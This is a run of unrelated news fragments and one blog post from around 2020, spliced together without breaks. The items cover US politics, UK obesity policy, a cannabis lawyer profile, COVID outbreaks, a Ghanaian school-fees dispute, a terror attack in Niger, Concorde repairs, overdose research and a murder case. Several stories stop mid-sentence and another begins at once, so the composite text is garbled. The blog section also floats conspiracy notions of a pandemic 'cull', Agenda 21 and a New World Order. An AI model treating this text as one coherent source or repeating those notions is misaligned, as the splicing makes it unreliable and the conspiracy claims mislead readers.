the short list to become Biden's vice president are already scheduled to make speeches. This includes Michigan Governor Gretchen Whitmer, who flew to Delaware earlier this month to visit with Biden, Atlanta Mayor Keisha Lance Bottoms and Illinois Senator Tammy Duckworth. Biden has vowed to choose a woman as his running mate, but there are some external pressures for him to also choose a woman of color in the midst of months-long nationwide Black Lives Matter protests. The announcement of the lineup of big-name speakers also comes after the convention revealed Monday it would feature several everyday Americans during the events including a Pennsylvania farmer who voted for Donald Trump in 2016. Covid-19 has affected a disproportionate number of people with obesity in the UK. As such, the government has seen the pandemic as a wakeup call to the health risks of living with obesity. They have recently announced a long overdue strategy to tackle obesity in Britain. Some of the proposals aimed at significantly reducing obesity rates, include: Banning TV and online advertising of foods high in fat, sugar, or salt before 9pm Calorie labelling on menus in restaurants and takeaways, alongside consulting on alcohol calorie labelling and front-of-pack traffic light labelling where green products are considered more nutritious, and red products less Expansion of the NHSs weight management service (including apps and online tools) Incentives for GPs to support patients with obesity in their weight loss, and prescribe exercise and social activities. However, the proposals are not without criticism, and some feel the governments plans arent enough to end obesity. And though many of the proposed interventions are thoroughly researched, not all methods will be effective for everyone. Here are four key problems with the strategy. 1) It doesnt target every driver of obesity Multiple factors combine to influence body weight. Our psychology and biology, and what motivates us to eat or be physically active, all interrelate with societal-level food supply, social influence (such as food marketing), and our physical activity environment (such as how walkable and connected a community is, and how much recreational space it has available). One of the governments biggest targets is to promote increased physical activity among the population. This includes investment into active transport infrastructure to increase physical activity, and incentives for GPs to prescribe exercise or other social activities. The new proposals arent without criticism (PA) Research shows physical activity is higher in neighbourhoods with more parks and public transport and steps to promote more physical activity should be applauded. But they dont fully recognise the complexity of obesity. Not everyone will want, choose, or be motivated to be active in the same way as others. Support in changing behaviour, and making access to many types of physical activity affordable will be key to getting the nation moving. 2) Access to healthier foods is key The government has also announced aims to promote healthy eating. Some of the strategies include banning junk food advertising on TV before 9pm and ending offers on unhealthy foods. However, not all these strategies have been shown to work. Government research in 2019 even calculated a pre-watershed junk food advert ban would only reduce the average daily calorie intake by about 1.7 calories. Instead, improving access to healthier, affordable foods will be extremely important for bringing wider change. Lower prices on healthier foods will have a positive effect (AFP/Getty) (AFP via Getty Images) Increasing offers on fruits and vegetables, and ending buy-one-get-one-free offers on unhealthy foods in stores are likely to help. However, the continued prevalence of fast food outlets in some areas, particularly deprived ones, may continue to undermine access to healthier alternatives for many people. Research has shown that access to unhealthy food options, which tend to be cheaper and may be perceived as better tasting, increases intake of them. For this reason, reducing access to unhealthy food options and improving access to healthier options need to be considered together. Doing so will lead to better eating habits and reduced obesity risk. Consumer behaviours are ultimately dictated by a combination of attitude, social norms and whether someone feels theyre capable of changing 3) Calorie labelling doesnt necessarily work The government pledge to put calorie labels on both alcohol and in restaurants is long overdue. We know nutritional information can help people when making food and drink choices, making them feel more informed. However, this wont help everyone restrict intake of unhealthy foods. According to the theory of planned behaviour, consumer behaviours are ultimately dictated by a combination of attitude, social norms (what everyone around you does), and whether someone feels theyre capable of changing. So having nutritional information wont necessarily override these other factors. Understanding nutritional information also requires both literacy and numeracy skills, which could inadvertently widen the health gap, as those who have difficulty interpreting such information are more likely to come from more deprived backgrounds. Research on food product calorie labelling and traffic light systems has shown that while consumers may look at such labels, they dont necessarily process this information further. In some cases, these labels have little effect on calorie consumption or product choice. Research suggests that areas with access to parks are more likely to have higher fitness levels (Getty) (Getty Images) Though this strategy aims to empower consumers by providing key information, this isnt enough. Help in changing behaviour (such as cognitive behavioural therapy), and support in understanding food labels need to be implemented as well to drive healthier food choices. 4) Weight management is not one-size-fits-all Expanding 12-week weight management services across the NHS may help some. But as the factors driving weight gain and loss are unique to each person, a one-size-fits-all approach may not work for everyone. Research shows that 12-month (or longer) tailored programmes are more effective than shorter, general weight-management services in helping people who are overweight or obese lose and maintain weight. And while weight management services can be successful, multicomponent services which give a person choice of the interventions they will use are recommended. However, primary care staff are overburdened already. Many GPs also often feel reluctant to discuss weight management with their patients so as not to ruin their relationships. Given these factors, such discussions or help may not even be provided despite the proposed initiatives. Importantly, weight management programmes should be delivered and supported by specialist staff, such as registered nutritionists and dieticians. This will also alleviate pressure on primary health care providers. The governments strategy promises to realise a range of initiatives that have long been proposed, trialled and evaluated by health professionals and researchers. But research shows theres a need to tackle societal factors that favour obesity alongside providing individual support. These proposals are a small step towards better weight management in the UK but targeted and tailored solutions for each person will work best. Lucie Nield is a senior lecturer in nutrition and dietetics at Sheffield Hallam University. Jenny Paxman is a principal lecturer in nutrition; subject group leader for food and nutrition at Sheffield Hallam University. This article first appeared on The Conversation By Natan Ponieman and Javier Hasse. Bob Hoban is recognized as one of the worlds top leaders in cannabis policy. His firm, the Hoban Law Group, has been at the epicenter of the commercial expansion of cannabis as a legitimate business worldwide. Benzinga recently spoke with Hoban, who recalled his first steps in the industry and explained how he managed to nurture and turn his firm into a go-to consultancy for cannabis businesses, policy-makers and international governments. Early Beginnings Since 2008, Hoban has worked with more than 35 different countries in developing public policy solutions for the legislation and regulation of commercial cannabis. The Rutgers University alum spent most of his life in the Northeast and eventually moved to the West in 2008. He started a law firm focused on representing medium-sized businesses. Less than a year later, the firm was solely focused on cannabis companies. Hoban was a cannabis consumer, but had no connections to advocacy groups or cannabis ventures. As the cannabis industry started to develop in Colorado, he saw an opportunity. Related content: Colorado Has Done The Right Thing With HB 20-1424 Social Equity License That there was a side to cannabis law that was not being covered. Most activists and advocates had focused on making cannabis legal, but not many businesses or jurisdictions knew what to do after that. Once a country legalizes something, what comes next?" Hoban asked. "And I always said, well, that's the opportunity." Since its early beginnings, the Hoban Law Group was focused on providing the answer to that question. The industry then needs professional leadership," he added. "It needs advisors, it needs lawyers that are skilled in much more than just policy advocacy." Being A Part Of The Cannabis Boom Hobans firm provided part of the fuel that fed the industrys growth. Story continues Winning the Cannamart case in late 2009 put Hoban at the center of attention. His firm managed to stop a local jurisdiction from shutting down a cannabis business on account of the request being unconstitutional. Hoban never described himself as a grassroots cannabis activist, even though he has been involved in numerous causes over time. He explains his role as a necessary evolution in the cannabis space. We were not the ones that were advocating for the legal change. But once the legal change occurred, we were the ones that brought it into a commercial environment, he explains. Related content: Investing In Cannabis During A Crisis: What To Know About Stocks, Debt, Equity, M&A In 2011, Hoban began teaching cannabis policy at the University of Denver. Backed by the universitys status, he became the point-person for national governments looking for advice on developing a cannabis policy program. Despite its strong focus on policy development, Hoban has always liked to define his firm as an ally of cannabis businesses. In 2010, when the CBD industry was taking its baby steps, the Hoban Law Group developed a growth strategy for CannaBest, a Southern California CBD company. With Hobans assistance, the company went from $500,000 of CBD sales to $5 million in less than three months, kickstarting the subsequent CBD craze that soon followed. Finding Success In A Business Approach To Law For Hoban, his firms success stemmed from a clear vision: he needed to steer the firm as any other business. If you look at any large Am Law 200 law firm, the only reason those firms exist is because their initial partners said: Look, we want to create a clearinghouse for really, really great lawyers, but we want to build it like a business. Law firms don't become businesses, except if you execute specifically towards that target. Part of the business strategy of any company that connects to an industry in an ancillary fashion is to drive commercial success for its clients. Hoban describes his firms personnel as guides who help cannabis businesses navigate the industry. We are guides first, we are industry experts second, and we are top quality lawyers third, he said. Related content: CBD, Amazon Distribution Channel And Trademarks: What You Need To Know For Hoban, the commercial aspect of the industry is as important as the legal side because it drives growth. The cannabis industry, no matter the location, can and should be regulated into four lanes: First, an industrial lane, which describes industrial hemp and its applications. Second, an over-the-counter marijuana lane, which encompasses the dispensary system. The wellness and nutraceuticals lane comes third. These are CBD and hemp-derived products which are non-psychoactive. Lastly, theres the pharmaceutical lane, which encompasses formulas for specific conditions. In his lectures, which involve multiple talks at the United Nations, and other international bodies, Hoban advises jurisdictions to regulate cannabis according to these four business verticals. Courtesy photo See more from Benzinga 2020 Benzinga.com. Benzinga does not provide investment advice. All rights reserved. The Guardian The Steelers quarterback is headed to the Hall of Fame. But he was unloved outside Pittsburgh for understandable reasons Ben Roethlisberger almost certainly played his final game in the NFL on Sunday. Photograph: Ed Zurga/AP Ben Roethlisberger is lucky that football legacies are not decided by finales. If Sunday night was indeed Big Bens last ever NFL game, as he has strongly hinted, it wasnt exactly a mic drop. In the 42-21 beatdown by the Chiefs, Roethlisberger struggled with rollouts, and l PINCKNEYVILLE More staff and residents of Pinckneyville Nursing and Rehabilitation have been identified as positive for COVID-19 after another round of testing on residents and staff who had not previously tested positive for the virus. According to a post on the facilitys Facebook page, an additional 20 residents and five additional staff members tested positive. It reads, These individuals have been moved to rooms isolating them from the individuals who remain negative. The 15 residents and five staff who tested positive for the virus on July 31 are nearing the end of their isolation period. Scott Stout, CEO of WLC Management Firm, which operates the facility, said they are maintaining isolation in the entire building until the end of the next 10-day period. Its absolutely broke our hearts. Right now, the main focus of everybody in Pinckneyville is the care and well-being of the residents, Stout said. He added that the staff in Pinckneyville cares deeply about their residents. When the first positive results started coming in on Saturday, they sent staff to help clean and other tasks, as well as to give the staff a pep talk. All the staff and most of the residents are not experiencing symptoms of the virus. Everyone is upbeat and in good spirits, Stout said. He also sent a huge thank you to the staff and said they are greatly appreciated. On Monday, Perry County Health Department announced they were notified of 37 additional confirmed positive cases of COVID-19; eight on Saturday and 29 on Sunday. That brings the total number of positive cases in Perry County to 186. The diagnosed individuals include two females under the age of 17, two males under the age of 17, two adult females in their teens, five females in their 20s, one male in his 20s, one female in her 40s, three females in their 50s, one female in her 60s, one male in his 70s, three females in their 70s, 11 females in their 80s, and five females in their 90s. The health department reported an additional death of a Perry County female in her 90s. They also reported 20 additional patients of the Perry County long-term care facility tested positive, along with seven additional employees of the same facility. Stout said they were updating their numbers from last week, when the health department reported three staff members had tested positive and Pinckneyville Nursing and Rehabilitation reported five staff members tested positive. The 186 confirmed cases in Perry County include: 86 active cases, 98 persons released from isolation and two deaths. Perry County has had 3,370 negative test results. Anyone with questions is asked to contact the Perry County Health Department at 618-357-5371. Anyone experiencing symptoms of respiratory illness, such as fever, cough or difficulty breathing, should call their health care provider for medical advice. The health department suggests everyone stay home as much as possible. Continue to practice social distancing of 6 feet or more, avoid large groups or gatherings of people, wash hands frequently, and use cloth face coverings in community settings. For any additional updates or information, visit The Perry County Health Departments Facebook page. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Aggrieved parents of pupils of Morning Star School in Accra on Monday descended on the school, requesting an immediate negotiation of fees for online tuition services, following demands for payment of "third term fees" by the school. The school had served notices that fees should be paid by August 10, 2020, offering parents a flat discount of GH125.00 ahead of the end of term examinations scheduled from August 17-21. However the parents say they are unable to pay full fees (some nearly GH2,500) for the online tuition services and that they can support the programme with GH200 a month, with some describing the schools discount offer as pittance amounting to a drop in the ocean. A petition presented to the school management which was signed by the PTA Chairman and Secretary, Mr. Michael Mbroh and Mrs. Bertha Appiah-Gyapong respectively, representing parents on the PTA, described the schools demand as inconsiderate and that parents were not obliged or cannot be compelled to pay the fees. The group also asked management of Morning Star School to desist from harassing and threatening parents in demanding the so called "third term fees", saying No parent is obliged to let the ward write "third term exams". The online service engagement or service being rendered is not compulsory until mutually agreed by Management and parents, the petition said, adding, That management and parents need to discuss and agree on the modalities and quality of the proposed online services. The aggrieved parents emphasized the importance of holding proper dialogue and deliberations in an atmosphere of mutual respect, and explained that as crucial stakeholders, parents especially must have a voice and must be heard in the bid to maintain a healthy relationship with the school authorities for the sake of the children. Accordingly, we are by this communication, demanding an emergency PTA Meeting to resolve the current issues for our mutual benefit. We hereby propose a meeting at the school or a virtual meeting on or before the week ending August 14, 2020. Parents Explain Briefing Graphic Online, the PTA Chairman, Mr. Michael Mbroh, who urged parents to remain calm and desist from paying the "third term fees until management met with parents and came to an amicable solution", insisted that parents were not obliged to let their children write the third term exams. He recalled a Ministry of Education observation that schools were not likely to reopen come September, saying, That meant that online was going to be the order of the day, thus per the advice from the Ministry, there should be a consensus building between parents and management of the school. He lamented unsuccessful attempts to meet with school management on the issue and said Mondays petition was to launch a final appeal and to hopefully bring a closure to the issue whose outcome would indicate their next course of action. Parents believe MSS can and should do far better than a discount of GH125 on fees, especially when compared to discounts being offered by other schools who also lack external funding support and rely heavily on school fees payments for revenue generation, he said. Mr. Michael Barnor, a parent, also reiterated the need for effective dialogue with the management of the school to agree on a meaningful amount to support the process. He told Graphic Online that with the ongoing online learning, parents were sometimes forced to teach their children due to challenges with internet access and accessing the learning materials. We sometimes have to teach our children ourselves, thus to pay full fees with an inconsiderate discount for online engagement is not the way to go. We are hoping that the Ministry of Education and other bodies will pick this up and resolve the issue, he said. Another parent, Mr. Sidney Krow, told Graphic Online: We are being asked to pay in full, over GH2,000 for fees, and we think that is not a fair deal. Source: Graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Source: Xinhua| 2020-08-11 23:20:16|Editor: huaxia Video Player Close PARIS, Aug. 11 (Xinhua) -- France will beef up security for its citizens in Africa's Sahel region after six French nationals were killed in an attack in Niger, President Emmanuel Macron announced on Tuesday. "I have decided to step up security measures for our citizens in the region," Macron tweeted after he chaired a defense council on the attack. The head of state pledged "to do everything to support the families of the victims and to respond to the attack that claimed the lives of six of our compatriots and two Nigeriens." "We will continue our action to eradicate the terrorist groups with the reinforced support of our partners," he said. On Sunday, gunmen killed six French nationals and two Nigeriens in a wildlife park 65 km from the West African country's capital Niamey. No one has claimed responsibility for the attack. Paris prosecutor's office launched an anti-terrorism probe for "assassination in relation to a terrorist undertaking" and "terrorist criminal association." The investigation is a routine when French people are among the victims of terrorist attacks abroad. Ten French investigators will fly to Niger on Tuesday to take part in the investigation, according to the state-run France Info radio. Enditem 2 1 of 2 John King / The Chronicle Show More Show Less 2 of 2 John King / The Chronicle Show More Show Less Berkeley police have arrested a woman suspected of setting fire to a trash bin behind a synagogue and across the street from a church that was the target of a similar fire in late July. The fire at Congregation Netivot Shalom on University Avenue was reported shortly before 9 p.m. on Aug. 6, according to Officer Byron White of the Berkeley Police Department. The next day they arrested Shameka Adams, who has no known address, a few blocks away in Ohlone Park. She was wearing the same clothes as the person shown on a video setting the blaze. Anzio Williams, vice president of news for NBC10 and Telemundo62, has been promoted to a new position. Read more Anzio Williams, vice president of news at NBC10 and Telemundo62, is leaving the station after eight years to take a newly created job where hell be responsible for developing and implementing a comprehensive strategy that will make diversity and inclusion issues a top priority for NBC-owned stations, NBCUniversal announced Monday. Its something that I raised my hand for and thought it was a good next step for me to do some of the things Ive been able to do here in Philadelphia, and do it on a bigger scale, said Williams in an interview Monday afternoon. As senior vice president of diversity, equity, and inclusion, hell report to Valari Staab, the president of NBC Universal Owned Stations. (Earlier in her career, Staab was the director of creative services and director of marketing and research at Philadelphias 6ABC.) In todays time, theres a need. I think a lot of companies [are] addressing the need for equity and inclusiveness in their workplaces and culture, he said. NBC10 had been the only NBC-owned station with both a Black general manager, Ric Harris, and a Black vice president of news, Williams said. That is the challenge for the industry how do we have newsrooms representative of the communities that we serve? I would say thats what Im most proud of, about the change we made in Philadelphia here, on the Telemundo side and the NBC side, making sure were representative in front of the cameras, and behind the cameras, and in every position and in every role. Williams' successor hasnt yet been chosen. In the interim, his newsroom duties will fall to NBC10 assistant news director Kathy Gerrow and Telemundo62 assistant news director Ana Hernandez. One thing Williams has seen as his responsibility is reaching out and grabbing young journalists and helping them, pulling them up, whether they look like me or not, he said. When Williams was in college, someone did the same for him. Drew Berry, an African American male who was news director at WCAU then a CBS station, now NBC10 told him hed be a news director someday. Berrys daughter, Andrea Berry, is now an executive producer at NBC10. Im this mushy guy. Sometimes I see her leading the meetings and I almost want to cry, said Williams, who said hes proud of having helped others, seven or eight people who have worked under me, who are now leaders of newsrooms across the country. Williams made a little news of his own not long after joining NBC10 when he ended the stations helicopter-sharing agreement with CBS 3 and Fox29 and NBC10. That was the competitiveness in me, he said, though hes since embraced some partnerships, including projects with The Inquirer, the Philadelphia Tribune, and WHYY. Ive always believed that [with] competition between journalists, the viewers were the winners. But I also believe that sharing at the right times viewers can still be the winners, he said. Before coming to Philadelphia, Williams served as news director at KCRA in Sacramento and at WDSU in New Orleans, where he oversaw coverage of Hurricane Katrina and its aftermath. Before that, hed been an assistant news director at NBC affiliates in Orlando and in Charlotte, N.C. British Airways hopes to put Concorde back into passenger service by the spring following a modification programme costing 17m. Work has now started at Heathrow Airport on fitting new linings made from a kevlar and rubber compound to fuel tanks on Alpha Foxtrot, one of BA's seven Concordes. The linings are designed to contain the fuel should the wing skin be punctured, preventing any repetition of the devastating fire that brought down the Air France Concorde which crashed near Paris last July, killing all 109 people on board as well as four on the ground. It will take a BA team of 40 engineers between eight and 10 weeks to carry out alterations to each of the seven Concordes. While Air France carries out tests on the ground in southern France, BA will do airborne tests using Alpha Foxtrot. If there are no complications, both airlines will get back their Concorde airworthiness certificates and passenger services can resume. Captain Mike Bannister, 51, BA's Concorde chief pilot, says: "This is very much a team effort and everyone on both sides of the Channel is working really hard to get Concorde back into the air. "We are hoping that a BA Concorde can take off at the same time as an Air France one when commercial services resume - it would underscore how well we have all worked together. "Hopefully, I shall be flying the first test flight and the first passenger flight and I'm really looking forward to it." Capt Bannister, who has been with BA since 1969, added: "We will initially be operating one London-New York return flight a day and plan to go back to the usual two returns a day schedule by late summer or early autumn. Some time after that, we plan to resume Concorde flights to Barbados." As coronavirus spreads deeper across America, the pandemic has shined a spotlight on the health disparities within our most underserved populations. Reports and studies from across the nation show the coronavirus is disproportionately infecting and killing people in Black and Brown communities. As experts continue to warn of a fall surge coupled with flu season, the national livestream event will encourage viewers to contribute to the Lung Association's COVID-19 Action Initiative, which is addressing disparities in COVID testing, providing masks and access to vaccines in underserved communities, developing critical plans on how to prevent future pandemics, and funding critical research. As part of its initiative, the American Lung Association will also deliver resources to the public, help frontline healthcare workers with COVID education, and advocate at the state and federal level to end ongoing health disparities. Bringing together today's most recognizable stars live from their homes, the two-hour event will feature musical performances, comedy sketches, and surprise and delight moments. The event will also channel the voices of scientists, frontline workers, and people impacted by the virus. "COVID-19 has affected the lives of so many people around the world, but Black and Hispanic Americans have suffered substantially higher death rates than any other community," said Queen Latifah. "After my mother died from lung disease, I knew I wanted to collaborate with the American Lung Association to help others fight. This is an urgent issue, and we need to act urgently to make an impact for people who need us the most. I'm honored to partner with the Lung Association and encourage others to support the organization's efforts." For more information on the American Lung Association COVID-19 Action Initiative visit Lung.org/covid19. About the American Lung Association The American Lung Association is the leading organization working to save lives by improving lung health and preventing lung disease through education, advocacy and research. The work of the American Lung Association is focused on four strategic imperatives: to defeat lung cancer; to champion clean air for all; to improve the quality of life for those with lung disease and their families; and to create a tobacco-free future. For more information about the American Lung Association, a holder of the coveted 4-star rating from Charity Navigator and a Gold-Level GuideStar Member, or to support the work it does, call 1-800-LUNGUSA (1-800-586-4872) or visit: Lung.org. About COVID-19 Action Initiative Guided by its three main pillars of research, education and advocacy, the American Lung Association established the COVID-19 Action Initiative committing $25M to end COVID-19 and defend against future respiratory viruses. Since the inception of the initiative, the organization has built a foundation by expanding COVID-19 research, funding awards and grants for preventative research, vaccines, and antivirals, as well as providing pilot grants to evaluate the effects of COVID-19 on patients with chronic lung disease. CONTACT: Stephanie Goldina | American Lung Association P: 312-801-7629 E: [email protected] SOURCE American Lung Association Related Links www.lung.org This it! The Whole world is going crazy and you need to prepare yourself to go through incredibly tough times for a long time to come! You need to be more tougher than ever to see these troubled times through ( See my previous article When the going gets Too tough). The whole wide world is fast becoming a tougher place to live in and you need to wise-up and man-up to keep up the pace. In my article 2019: Time to disrupt the system! I warned that there would come a time when the governments of the world wont be able to care or cater for all their citizens. That time is now! The Covid-19 pandemic has shown how clueless our leaders are when it comes to dealing with an international crisis. When this clears up its going to be every man for himself. Already the lockdown we have experienced has shown us how fragile our lives are: if you dont have, you wont have! The Rich with their vast resources will see this through whilst the Poor, with nothing, will perish! Mass unemployment that will result from this pandemic as a result of many small businesses going bust and bigger firms making people redundant will mean many people living from paycheck to paycheck will end up with nothing! Many countries will go deeper into deep depression as their economies wont be able to cope with the fallout and richer countries will have to dig deeper into their reserves to keep themselves going. Whether this is a cull of the human race, the forced implementation of the UN Agenda 21 or the emergence of a New World Order we are yet to see. But one thing is for sure, nothing will ever be the same again. With very tough times looming for the individual it means if you cant swim against the tide you will drown! Life now is going to be the survival of the fittest and shrewdest! To ride the storm out you need to take yourself to the next level and to do that you need what I call PINTS (N.B not pints of beer!) PINTS is my acronyms for: P Power. IN Intelligence. T - Technology. S - Simplicity. So youre mentally disciplined and can stay focused and youre patient and resilient ( from my article When the going gets too tough) and now its time to condition yourself even further to be the best of the best of the best till you end up being in a league of your own Now to break down my acronyms P.I.N.T.S : 1, POWER can mean any kind of power but for the purpose of this article Ill narrow it down to physical, mental and spiritual. When push comes to shove if youre only used to working 9 hours a day you might have to work longer and harder. The human body can take it and you can do it! Its a simple question of pushing yourself to do more, as required. Working longer days, weeks or even months shouldnt be a problem but an obstacle to overcome. Or as Tech Giant Elon Musk once famously put it nobody ever changed the world [working] on 40 hours a week... If you can push yourself to go an extra mile, you can push yourself to go 5 more miles or even more. What does it take to achieve the impossible? You do the impossible! It can be done. You can do it. Ive done it! And that brings us to the second power mental. If the resources are there and you dont have the will to do it you are finished! A lot of people lack the positive mental attitude to keep going let alone the motivation to push themselves to do more. A lady once told me she couldnt lose weight because she didnt have the willpower to stop eating. In replying her I asked her if she would take another bite of food if I put a gun to her head. Her answer was No! Dont wait for somebody to put a gun to your head do it yourself! Be more positive and work on your mental abilities developing an I CAN DO attitude because you can do it. You just have to believe more in yourself. Now we move on to spiritual power : a man who has no supreme being he believes in is a man with no hope. Ever since the beginning of Time mankind has always believed in the existence of one God or another; a spiritual supreme being we can pray to in times of trouble, uncertainty and calamity. And in return we are granted miracles( - not the fake miracles concocted by most pastors!) to help us when we least expect them. So keep up with the prayers and dont forget your intuition. By using your intuition a lot more youll learn how to tap into a higher state of consciousness thatll provide new information, an endless supply of new ideas and solutions to existing problems. 2, INTELLIGENCE Only the smartest are going to be the ones wholl prosper in the coming years. Theyll be the ones wholl see the new opportunities, the gaps in the market etc. not everyone is born clever so now is the time to align yourself with those who are thinkers, innovators, mentors and learn to see things differently. Even the late Steven Jobs wasnt that clever: he surrounded himself with people more clever and intelligent than himself to make his dream ideas a reality. In our new emerging world contactless cards are going to replace cash, social media video networking will increase and most people are going to be relegated to working from home. Even in times of recession and uncertainty people are making fortunes. They are the smart intelligent ones who can see a brand new opportunity a mile away be one of them! 3, TECHNOLGY if youre a technophobe and still stuck in the 20th Century its time to get your skills up to date. The future is ONLINE and whether you like it or not, or you are a conspiracy theorist, 5G is coming. Im not going to go into the dangers of 5G Technology ( because I dont know of any) but to say that 25 years ago it was rumoured then that if you used the then analogue mobile phone too much youll get cancer: a rumour that was debunked at the time. 5G is just a natural progression from the 1G, 2G, 3G and 4G digital technology weve been using for the past 20 years. We need new technology to be able to do the things we werent able to do 20 or 30 years ago. For those in doubt its called progress so its time to get your skills up to date or be left behind. If you and your business ( any kind of business) are not online youre screwed! 4,SIMPLICITY Its time to keep your life simple and spend less for you never know how soon you are going to need your savings. With all the uncertainty going on you may not have a job next week, next month or even next year and the only thing youll have will be your savings. So its time to tighten your belts and forget about keeping up with the Joneses . Spend less and save more. Keep it simple: buy what you need and not what you want. The extra cash saved might well save your life when you dont have an income. A Yoruba man will tell you to leave something on your plate when you eat because if you scoff everything therell be no leftovers to eat when you are hungry. So now while the world doesnt know what its doing its time for you, the individual, to go to Plan B a plan designed to see you through the worst of times and you can do this if you take yourself and your skills to the next level. When this all clears up its going to be a jungle out there and only the smartest will survive or as Albert Einstein once said, in the middle of difficulty lies opportunity. And my personal motto for these very difficult times is simply I came. I saw. I conquered!. I wont go quietly into the night ! Fortis Fortuna Adiuvat ~ May Fortune favour the Bold! Im on Twitter: @Archangel641 or visit http://www.archangel641.blogspot.co.uk Source: Xinhua| 2020-08-12 01:18:56|Editor: huaxia Video Player Close UNITED NATIONS, Aug. 11 (Xinhua) -- Virtual tours to the UN Headquarters in New York are being offered to the general public amid the COVID-19 pandemic, said the UN Visitors Services on Tuesday. By taking a virtual tour with one of the multilingual UN tour guides, participants will go on a live journey through the organization's history with a focus on the current work of its principal organs, learning how the United Nations addresses issues such as disarmament, peace and security, development, and human rights, said the UN Visitors Services in a press release. Through this interactive experience, the online visitors will also be able to admire the famous General Assembly Hall and the Security Council Chamber, as well as some of the works of art decorating the inside of the UN Headquarters, it said. The virtual tours are currently being offered to groups and can be combined with a briefing by an expert speaker on a UN-related topic. While each tour is tailored to the individual groups with the tour guide happy to address specific questions and topics, the UN Visitors Services has also created an online tour specifically for younger children. This virtual UN Kids tour introduces students to the Sustainable Development Goals and encourages them to become global citizens and take action, said the press release. "At a time like this, the importance of learning about international cooperation and the role of the United Nations is more important than ever," says Elisabeth Waechter, chief of the UN Visitors Services, in the press release. According to the UN Visitor Centre website, a 60-minute UN virtual tour costs 200 U.S. dollars. The recommended group size is 20-30 people. A 90-120 minute virtual tour plus an online briefing costs 300 dollars. As New York City slowly emerges from lockdown with outdoor dining and physical distancing measures, the UN Visitor Centre is beginning preparations to be able to once again welcome visitors to the UN Headquarters, while ensuring all health and safety recommendations are followed, said the press release. The UN Headquarters in New York was shut down to the general public and guided tours were suspended in mid-March. The UN Visitor Centre says approximately 1 million visitors from around the world came to visit the United Nations every year before the pandemic. Enditem Drug overdoses in the US are the leading cause of accidental deaths, and accidental deaths are the third-leading cause of death overall in the US - but new research suggests they remain vastly undercounted. Researchers found that one in six deaths ruled sudden cardiac arrests that happened outside of hospitals in San Francisco were actually caused by overdoses, typically of a cocktail of drugs, usually including opioids. And because overdose death rates in San Francisco closely mirror rates nationwide, the research team from the University of California, San Francisco (UCSF) is concerned that overdoses across the US are similarly underestimated. The opioid epidemic, a top public health priority, has nearly been subsumed by urgent efforts to address the coronavirus pandemic - but the new study is a sobering reminder that the American overdose crisis rages on, often unseen. Researchers at UC San Francisco found overdose deaths 'masquerading' as sudden cardiac deaths accounted for one in six fatalities attributed to the fatal heart phenomenon (file) Researchers at UCSF reviewed cause of death records, autopsies and toxicology reports for all deaths that were recorded as sudden cardiac arrests that occurred outside hospitals over seven years. None of those who died had overtly obvious signs that they would have died of drug overdoses, such as prior overdoses or drugs found with the body. Cardiac arrest, which occurs when the heart simply stops beating, often because of a malfunction in the electrical system that give the heart its pulsing rhythm, can kill someone in minutes. If someone dies suddenly outside a hospital, without signs they've been unable to breathe or suffered some other sudden ailment, it's likely that they have died of sudden cardiac arrest, which is distinct from but may follow a heart attack. More than 356,000 people suffer sudden cardiac arrests at home, at work, or otherwise outside of hospital settings each year. Nine out of 10 of them - or 320,400 - don't survive. In 2018 - the most recent full year for which the Centers for Disease Control and Prevention (CDC) has released data - 67,637 people's deaths were attributed to drug overdoses. But if the UCSF finding that one in six sudden cardiac arrest deaths were actually drug overdoses holds true nationwide, the annual drug death toll may be well over 100,000. WHAT IS A CARDIAC ARREST? A cardiac arrest occurs when the heart suddenly stops pumping blood around the body, which is usually due to a problem with electrical signals in the organ. This causes the brain to be starved of oxygen, which results in sufferers not breathing and losing consciousness. In the UK, more than 30,000 cardiac arrests occur a year outside of hospital, compared to over 356,000 in the US. Cardiac arrests are different to heart attacks, with the latter occurring when blood supply to the heart muscle is cut off due to a clot in one of the coronary arteries. Common causes include heart attacks, heart disease and heart muscle inflammation. Drug overdose and losing a large amount of blood can also be to blame. Giving an electric shock through the chest wall via a defibrillator can start the heart again. In the meantime, CPR can keep oxygen circulating around the body. Advertisement Most the toxicology reports revealed multiple drugs in the systems of those who had died of overdoses 'masquerading' as sudden cardiac deaths, the UCSF researchers found. In many cases, those cocktails of drugs included opioids. Worryingly, about half of the drugs involved in the overdose deaths were prescribed to those people by doctors. Fentanyl is considered the driver of overdose deaths in recent years. The potent opioids is too often used to cut heroin to make it cheaper and more addictive. So someone using a dose that is standard to them is suddenly hit with a far stronger drug that can slow their breathing until it stops altogether. But some 80 percent of people who misuse heroin first developed opioid addictions after being prescribed painkillers. While powerful stimulants like cocaine can themselves cause the heart to beat too fast, leading to heart attacks or arrhythmias and then sudden cardiac arrest, opioids don't directly cause cardiac arrest. In an opioid overdose, a person's breathing slows, then stops, depriving the brain, and then the heart of oxygen, finally causing cardiac arrest. But ultimately it is difficult to distinguish whether a cardiac arrest happened on its own, or was the consequence of a drug overdose at the point that a paramedic arrives on the scene. The distinction is critical, however, in two senses. For one, mistaking drug overdoses for cardiac arrests may lead to an undercount of the former, and diminish the urgency with which the overdose epidemic is addressed. And furthermore, while a defibrillator may save the life of someone in the midst of cardiac arrest, a person having a drug overdose can be saved with naloxone, the overdose-reversal drug. Authorities have released audio of a phone call between 'cult' mom Lori Vallow and her husband Chad Daybell hours before the bodies of her two missing children were found on his property in Idaho. Lori made the call just after 11am on June 9 from the Madison County Jail, where she's been locked up for over five months on charges related to the disappearance of her kids Joshua 'JJ' Vallow and Tylee Ryan. Chad informs Lori that police had arrived at his home in Salem and were searching the backyard area, adding: 'We'll see what transpires.' The couple spoke slowly and cautiously, as if they were nervous about what would be uncovered during the search. Lori offers to pray for Chad before they exchange 'I love yous' and promise to speak again soon - though he suggests that he might not be able to pick up if she calls him later in the day. Within minutes of that phone call, authorities announced that they had recovered human remains from Chad's backyard that were later confirmed to belong to JJ and Tylee. Chad was taken into custody at about 11.30am after police said he watched the search unfold from a driveway across the street and then drove off as the remains were uncovered. On Tuesday he celebrated his 52nd birthday from behind bars at the Fremont County Jail. Lori (left in her mugshot) was arrested in February and is now facing felony charges for conspiracy to commit destruction, alteration or concealment of evidence. Chad (right in his mugshot) was arrested after the children's bodies were found and is also facing felony charges Investigators are seen recovering the remains of Tylee and JJ from the 